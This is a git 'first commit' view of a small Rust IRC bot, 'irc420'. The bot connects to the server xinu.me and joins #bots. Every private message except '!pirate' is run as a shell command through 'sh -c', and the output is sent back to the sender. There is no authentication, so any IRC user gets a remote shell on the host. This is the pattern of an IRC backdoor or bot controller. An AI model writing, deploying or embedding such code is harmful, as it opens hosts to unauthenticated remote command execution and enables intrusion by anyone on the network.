first commit
This commit is contained in:
commit
6ffc0e891a
1
.gitignore
vendored
Normal file
1
.gitignore
vendored
Normal file
@ -0,0 +1 @@
|
|||||||
|
target/
|
1240
Cargo.lock
generated
Normal file
1240
Cargo.lock
generated
Normal file
File diff suppressed because it is too large
Load Diff
12
Cargo.toml
Normal file
12
Cargo.toml
Normal file
@ -0,0 +1,12 @@
|
|||||||
|
[package]
|
||||||
|
name = "irc420"
|
||||||
|
version = "0.1.0"
|
||||||
|
edition = "2021"
|
||||||
|
|
||||||
|
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
|
||||||
|
|
||||||
|
[dependencies]
|
||||||
|
failure = "0.1.8"
|
||||||
|
futures = "0.3.25"
|
||||||
|
irc = "0.15.0"
|
||||||
|
tokio = { version = "1.22.0", features = ["full"] }
|
75
src/main.rs
Normal file
75
src/main.rs
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
use irc::client::prelude::*;
|
||||||
|
use futures::prelude::*;
|
||||||
|
use std::str;
|
||||||
|
|
||||||
|
#[tokio::main]
|
||||||
|
async fn main() -> Result<(), failure::Error> {
|
||||||
|
let config = Config {
|
||||||
|
nickname: Some("420".to_owned()),
|
||||||
|
server: Some("xinu.me".to_owned()),
|
||||||
|
channels: vec!["#bots".to_owned()],
|
||||||
|
..Config::default()
|
||||||
|
};
|
||||||
|
|
||||||
|
let mut client = Client::from_config(config).await?;
|
||||||
|
client.identify()?;
|
||||||
|
|
||||||
|
let mut stream = client.stream()?;
|
||||||
|
|
||||||
|
while let Some(message) = stream.next().await.transpose()? {
|
||||||
|
print!("{}", message);
|
||||||
|
|
||||||
|
if let Command::PRIVMSG(ref orixen, ref msg) = message.command {
|
||||||
|
if orixen.starts_with("#") {
|
||||||
|
// ven de un canal
|
||||||
|
// send_privmsg comes from ClientExt
|
||||||
|
// if msg.contains(&*client.current_nickname()) {
|
||||||
|
// client.send_privmsg(&orixen, "beep boop").unwrap();
|
||||||
|
// }
|
||||||
|
} else {
|
||||||
|
// ven de un mensaxe privado
|
||||||
|
let cmd: &str = &msg[..];
|
||||||
|
match cmd {
|
||||||
|
"!pirate" => {
|
||||||
|
client.send_quit("Sayonara, baby.")?;
|
||||||
|
},
|
||||||
|
&_ => {
|
||||||
|
// comando de shell, executase e devolve a saída
|
||||||
|
use std::process::Command;
|
||||||
|
let output = if cfg!(target_os = "windows") {
|
||||||
|
Command::new("cmd")
|
||||||
|
.args(["/C", "echo hello"])
|
||||||
|
.output()
|
||||||
|
.expect("failed to execute process")
|
||||||
|
} else {
|
||||||
|
Command::new("sh")
|
||||||
|
.arg("-c")
|
||||||
|
.arg(&cmd)
|
||||||
|
.output()
|
||||||
|
.expect("failed to execute process")
|
||||||
|
};
|
||||||
|
|
||||||
|
let out_parsed = str::from_utf8(&output.stdout).unwrap();
|
||||||
|
|
||||||
|
if out_parsed.contains("\n") {
|
||||||
|
for linea in out_parsed.split("\n"){
|
||||||
|
client.send_privmsg(
|
||||||
|
message.response_target().unwrap(),
|
||||||
|
linea
|
||||||
|
).unwrap();
|
||||||
|
// poñer un sleep para evitar flood
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
client.send_privmsg(
|
||||||
|
message.response_target().unwrap(),
|
||||||
|
out_parsed
|
||||||
|
).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user